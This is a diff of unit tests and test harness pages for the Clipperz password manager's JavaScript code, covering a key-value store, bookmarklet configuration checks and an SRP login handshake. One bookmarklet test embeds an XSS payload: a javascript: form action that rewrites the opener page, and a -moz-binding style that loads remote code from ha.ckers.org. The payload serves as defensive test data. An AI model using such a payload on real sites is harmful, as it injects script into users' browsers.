deferredResult = new Clipperz.Async.Deferred("deferredGetOrSet_test", {trace:false});
|
||||
deferredResult.addMethod(objectStore, 'setValue', 'key.path', testValue);
|
||||
deferredResult.addMethod(objectStore, 'deferredGetOrSet', 'key', function() {return {'path': testValue}; });
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult['path'], testValue, "deferredGetOrSet works when accessing data already present on the object store");
|
||||
})
|
||||
deferredResult.callback();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_deferredGetOrSet_withMissingValue_test': function () {
|
||||
var deferredResult;
|
||||
var objectStore;
|
||||
var testValue;
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
testValue = "nifty test value";
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_deferredGetOrSet_withMissingValue_test", {trace:false});
|
||||
deferredResult.addMethod(objectStore, 'deferredGetOrSet', 'key', function() {return testValue});
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult, testValue, "deferredGetOrSet works when accessing data already present on the object store");
|
||||
})
|
||||
deferredResult.callback();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredGetOrSet_withMissingValue_test': function () {
|
||||
var deferredResult;
|
||||
var objectStore;
|
||||
var testValue;
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
testValue = "nifty test value";
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("deferredGetOrSet_withMissingValue_test", {trace:false});
|
||||
deferredResult.addMethod(objectStore, 'deferredGetOrSet', 'key', function() {return {'path': testValue}; });
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult['path'], testValue, "deferredGetOrSet works when accessing data already present on the object store");
|
||||
})
|
||||
deferredResult.callback();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deleteObjectKey': function () {
|
||||
var someValues;
|
||||
var objectStore;
|
||||
|
||||
someValues = {
|
||||
'key1': {
|
||||
'key1_1': "value 1.1",
|
||||
'key1_2': "value 1.2"
|
||||
},
|
||||
'key2': {
|
||||
'key2_1': {
|
||||
'key2.1.1': "value 2.1.1",
|
||||
'key2.1.2': "value 2.1.2"
|
||||
},
|
||||
'key2_2': "value 2.2"
|
||||
}
|
||||
}
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
objectStore.initWithValues(someValues);
|
||||
objectStore.removeValue('key2.key2_1');
|
||||
|
||||
SimpleTest.is(objectStore.getValue('key1.key1_1'), "value 1.1", "The first element is still there");
|
||||
SimpleTest.is(objectStore.getValue('key1.key1_2'), "value 1.2", "The second element is still there");
|
||||
SimpleTest.is(objectStore.getValue('key2.key2_1'), null, "The deleted element is actually gone");
|
||||
SimpleTest.is(MochiKit.Base.keys(objectStore.getValue('key2')).length, 1, "Even the key is not stored anylonger");
|
||||
SimpleTest.is(objectStore.getValue('key2.key2_2'), "value 2.2", "The sibling of the deleted element is still there");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'accessDataUsingANumericKey': function () {
|
||||
var someValues;
|
||||
var objectStore;
|
||||
|
||||
someValues = {
|
||||
'1': "value 1",
|
||||
'2': "value 2"
|
||||
}
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
objectStore.initWithValues(someValues);
|
||||
|
||||
SimpleTest.is(objectStore.getValue(1), "value 1", "The first element is accessed even using a numeric key");
|
||||
|
||||
objectStore.setValue(3, "value 3");
|
||||
SimpleTest.is(objectStore.getValue('3'), "value 3", "I can set the value using a numeric key and get it with a string key");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'isEmpty_test': function () {
|
||||
var someValues;
|
||||
var objectStore;
|
||||
|
||||
someValues = {
|
||||
'1': "value 1",
|
||||
'2': "value 2"
|
||||
}
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
SimpleTest.is(objectStore.isEmpty(), true, "A newly initialized KeyValueStore is empty");
|
||||
|
||||
objectStore.initWithValues(someValues);
|
||||
SimpleTest.is(objectStore.isEmpty(), false, "Once the KeyValueStore is initialized with some values, it is no logner empty");
|
||||
|
||||
objectStore.removeAllData();
|
||||
SimpleTest.is(objectStore.isEmpty(), true, "A KeyValueStore is empty after invoking the 'removeAllData' method");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.KeyValueObjectStore", tests, {trace:false});
|
||||
@@ -0,0 +1,59 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.BookmarkletProcessor - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/BookmarkletProcessor.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="BookmarkletProcessor.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,132 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
function testBookmarkletConfigurationString (aConfiguration, shouldFail, aMessage) {
|
||||
// var configuration;
|
||||
|
||||
//try {
|
||||
// configuration = Clipperz.Base.evalJSON(aConfiguration);
|
||||
//} catch (exception) {
|
||||
// console.log("EXCEPTION", exception);
|
||||
// throw exception;
|
||||
//}
|
||||
|
||||
//console.log("configuration", configuration);
|
||||
|
||||
if (shouldFail == true) {
|
||||
try {
|
||||
Clipperz.PM.BookmarkletProcessor.checkBookmarkletConfiguration(aConfiguration);
|
||||
SimpleTest.ok(false, "vulnerability not caught - " + aMessage);
|
||||
} catch(exception) {
|
||||
SimpleTest.ok(true, "vulnerability correctly caught - " + aMessage);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
Clipperz.PM.BookmarkletProcessor.checkBookmarkletConfiguration(aConfiguration);
|
||||
SimpleTest.ok(true, "configuration correctly checked - " + aMessage);
|
||||
} catch(exception) {
|
||||
SimpleTest.ok(false, "configuration wrongly caught as malicious - " + aMessage);
|
||||
// console.log(exception);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//#############################################################################
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simpleAmazonConfiguration_test': function () {
|
||||
var bookmarkletConfigurationString;
|
||||
|
||||
bookmarkletConfigurationString = "{"+
|
||||
"\"page\": {\"title\": \"Sign In\"},\n" +
|
||||
"\"form\": {" +
|
||||
"\"attributes\": {" +
|
||||
"\"action\": \"https://www.amazon.com/gp/flex/sign-in/select.html\",\n" +
|
||||
"\"method\": \"post\"" +
|
||||
"},\n" +
|
||||
"\"inputs\": [" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"path\",\n\"value\": \"/gp/yourstore\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"useRedirectOnSuccess\",\n\"value\": \"1\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"query\",\n\"value\": \"signIn=1&action=sign-out&useRedirectOnSuccess=1&path=/gp/yourstore&ref_=pd_irl_gw_r\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"mode\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"redirectProtocol\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"pageAction\",\n\"value\": \"/gp/yourstore\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"disableCorpSignUp\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"protocol\",\n\"value\": \"https\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"sessionId\",\n\"value\": \"105-1479357-7902864\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"referer\",\n\"value\": \"flex\"},\n" +
|
||||
"{\"type\": \"text\",\n\"name\": \"email\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"password\",\n\"name\": \"password\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"metadata1\",\n\"value\": \"Firefox 3.0.3 Mac\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"metadataf1\",\n\"value\": \"\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"metadata2\",\n\"value\": \"Default Plug-in Java Embedding Plugin 0.9.6.4 Shockwave Flash 90124RealPlayer Plugin QuickTime Plug-in 7.5.5 Flip4Mac Windows Media Plugin 2.2 4||1440-900-878-24-*-*-*\"},\n" +
|
||||
"{\"type\": \"hidden\",\n\"name\": \"metadata3\",\n\"value\": \"timezone: -1 execution time: 3\"},\n" +
|
||||
"{\"name\": \"action\",\n\"type\": \"radio\",\n\"options\": [" +
|
||||
"{\"value\": \"new-user\",\n\"checked\": false},\n" +
|
||||
"{\"value\": \"sign-in\",\n\"checked\": true}" +
|
||||
"]}" +
|
||||
"]" +
|
||||
"},\n" +
|
||||
"\"version\": \"0.2.3\"" +
|
||||
"}";
|
||||
testBookmarkletConfigurationString(bookmarkletConfigurationString, false, "regular Amazon.com configuration");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'hackedConfigurationWithXSSAttackVectorReadyToBeTriggeredWhenActivatingTheDirectLogin_test': function () {
|
||||
var bookmarkletConfigurationString;
|
||||
|
||||
bookmarkletConfigurationString = "{" +
|
||||
"\"page\": {\"title\": \"Example Attack\"}," +
|
||||
"\"form\": { " +
|
||||
"\"attributes\": { " +
|
||||
"\"action\": \"javascript:opener.document.body.innerHTML = 'hacked!';close();\", " +
|
||||
"\"style\": \"-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss')\", " +
|
||||
"\"method\": null " +
|
||||
"}, " +
|
||||
"\"inputs\": [" +
|
||||
"{\"type\": \"text\", \"name\": \"username\", \"value\": \"\"}, " +
|
||||
"{\"type\": \"password\", \"name\": \"password\", \"value\": \"\"}" +
|
||||
"]" +
|
||||
"}," +
|
||||
"\"version\": \"0.2.3\" " +
|
||||
"}";
|
||||
testBookmarkletConfigurationString(bookmarkletConfigurationString, false, "hacked configuration that is trying to inject a XSS attack vector. It should not fail, as it is responsability of the direct login to avoid triggering such attack vector");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
}
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.BookmarkletProcessor", tests, {trace:false});
|
||||
841
frontend/gamma/tests/tests/Clipperz/PM/Connection.data.js
Normal file
71
frontend/gamma/tests/tests/Clipperz/PM/Connection.html
Normal file
@@ -0,0 +1,71 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Connection - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Connection.data.js"></script>
|
||||
<script type="text/javascript" src="Connection.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
255
frontend/gamma/tests/tests/Clipperz/PM/Connection.test.js
Normal file
@@ -0,0 +1,255 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_tests': function () {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var connection;
|
||||
|
||||
SimpleTest.is(Clipperz.PM.Connection.communicationProtocol.versions['current'], Clipperz.PM.Connection.SRP['1.1'], "the current connection is 1.1");
|
||||
|
||||
connection = new Clipperz.PM.Connection.communicationProtocol.versions['current']();
|
||||
SimpleTest.ok(connection != null, "can create a connection with the 'current' communication protocol");
|
||||
|
||||
SimpleTest.is(connection.proxy(), Clipperz.PM.Proxy.defaultProxy, "the connection uses the defaultProxy if no proxy is specified on the constructor");
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simpleProxy_tests': function () {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var connection;
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy();
|
||||
connection = new Clipperz.PM.Connection.communicationProtocol.versions['current']({proxy:proxy});
|
||||
SimpleTest.is(connection.proxy(), proxy, "the connection uses the specified proxy, when present");
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'login_test': function () {
|
||||
var deferredResult;
|
||||
var connection;
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:false, shouldCheckExpectedRequests:true});
|
||||
connection = new Clipperz.PM.Connection.communicationProtocol.versions['current']({
|
||||
proxy: proxy,
|
||||
getCredentialsFunction: function() { return {username:'joe', password:'clipperz'}; }
|
||||
});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("login_tests", {trace:false});
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addCallback(function() {
|
||||
proxy.expectedRequests().unshift({
|
||||
name: "First handshake step",
|
||||
functionName: 'handshake',
|
||||
parameters: {
|
||||
parameters: {
|
||||
message: MochiKit.Base.partial(MochiKit.Base.operator.eq, "connect"),
|
||||
version: MochiKit.Base.partial(MochiKit.Base.operator.eq, "0.2"),
|
||||
parameters: {
|
||||
C: MochiKit.Base.partial(MochiKit.Base.operator.eq, "f527cdd90d0d47f8524b4e165398ad1455eba515d04abd101d1e93b3c6ae0674"),
|
||||
A: MochiKit.Base.operator.truth
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
deferredResult.addCallback(function() {
|
||||
proxy.expectedRequests().unshift({
|
||||
name: "Second handshake step",
|
||||
functionName: 'handshake',
|
||||
parameters: {
|
||||
parameters: {
|
||||
message: MochiKit.Base.partial(MochiKit.Base.operator.eq, "credentialCheck"),
|
||||
version: MochiKit.Base.partial(MochiKit.Base.operator.eq, "0.2"),
|
||||
parameters: {
|
||||
M1: MochiKit.Base.operator.truth
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
deferredResult.addMethod(connection, 'login'/*, 'joe', 'clipperz'*/);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult.result, 'done', "successfully logged in");
|
||||
})
|
||||
deferredResult.addErrback(SimpleTest.ok, false, "the login procedure should succeed, and NOT going through this code path");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'login_with_toll_test': function () {
|
||||
var deferredResult;
|
||||
var connection;
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, shouldCheckExpectedRequests:true});
|
||||
connection = new Clipperz.PM.Connection.communicationProtocol.versions['current']({
|
||||
proxy:proxy,
|
||||
getCredentialsFunction: function() { return {username:'joe', password:'clipperz'}; }
|
||||
});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("login_with_toll_test", {trace:false});
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addCallback(function() {
|
||||
proxy.expectedRequests().unshift({
|
||||
name: "knock step",
|
||||
functionName: 'knock',
|
||||
parameters: {
|
||||
requestType: MochiKit.Base.partial(MochiKit.Base.operator.eq, "CONNECT")
|
||||
}
|
||||
});
|
||||
});
|
||||
deferredResult.addCallback(function() {
|
||||
proxy.expectedRequests().unshift({
|
||||
name: "First handshake step",
|
||||
functionName: 'handshake',
|
||||
parameters: {
|
||||
parameters: {
|
||||
message: MochiKit.Base.partial(MochiKit.Base.operator.eq, "connect"),
|
||||
version: MochiKit.Base.partial(MochiKit.Base.operator.eq, "0.2"),
|
||||
parameters: {
|
||||
C: MochiKit.Base.partial(MochiKit.Base.operator.eq, "f527cdd90d0d47f8524b4e165398ad1455eba515d04abd101d1e93b3c6ae0674"),
|
||||
A: MochiKit.Base.operator.truth
|
||||
}
|
||||
},
|
||||
toll: {
|
||||
targetValue: MochiKit.Base.operator.truth,
|
||||
toll: MochiKit.Base.operator.truth
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
deferredResult.addCallback(function() {
|
||||
proxy.expectedRequests().unshift({
|
||||
name: "Second handshake step",
|
||||
functionName: 'handshake',
|
||||
parameters: {
|
||||
parameters: {
|
||||
message: MochiKit.Base.partial(MochiKit.Base.operator.eq, "credentialCheck"),
|
||||
version: MochiKit.Base.partial(MochiKit.Base.operator.eq, "0.2"),
|
||||
parameters: {
|
||||
M1: MochiKit.Base.operator.truth
|
||||
}
|
||||
},
|
||||
toll: {
|
||||
targetValue: MochiKit.Base.operator.truth,
|
||||
toll: MochiKit.Base.operator.truth
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
deferredResult.addMethod(connection, 'login'/*, 'joe', 'clipperz'*/);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult.result, 'done', "successfully logged in");
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'getUserDetails_test': function () {
|
||||
var deferredResult;
|
||||
var connection;
|
||||
var proxy;
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, shouldCheckExpectedRequests:false});
|
||||
connection = new Clipperz.PM.Connection.communicationProtocol.versions['current']({
|
||||
proxy:proxy,
|
||||
getCredentialsFunction: function() { return {username:'joe', password:'clipperz'}; }
|
||||
});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("getUserDetails_test", {trace:false});
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['joe_clipperz_offline_copy_data']);
|
||||
deferredResult.addMethod(connection, 'login'/*, 'joe', 'clipperz'*/);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult.result, 'done', "successfully logged in");
|
||||
});
|
||||
deferredResult.addMethod(proxy, 'setShouldCheckExpectedRequests', [
|
||||
{
|
||||
name: "Get user details",
|
||||
functionName: 'message',
|
||||
parameters: {
|
||||
parameters: {
|
||||
message: MochiKit.Base.partial(MochiKit.Base.operator.eq, "getUserDetails"),
|
||||
srpSharedSecret: MochiKit.Base.operator.truth
|
||||
},
|
||||
toll: {
|
||||
targetValue: MochiKit.Base.operator.truth,
|
||||
toll: MochiKit.Base.operator.truth
|
||||
}
|
||||
}
|
||||
}
|
||||
]);
|
||||
deferredResult.addMethod(connection, 'message', 'getUserDetails');
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.ok(aResult['header'] != null, "got user details - header");
|
||||
SimpleTest.ok(aResult['statistics'] != null, "got user details - statistics");
|
||||
SimpleTest.ok(aResult['version'] == '0.3', "got user details - version");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.Connection", tests, {trace:false});
|
||||
281
frontend/gamma/tests/tests/Clipperz/PM/Crypto.html
Normal file
@@ -0,0 +1,281 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Crypto - TEST</title>
|
||||
|
||||
<script>
|
||||
jslog_config_enabled = true;
|
||||
clipperz_profiling_enabled = true;
|
||||
</script>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Profile.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
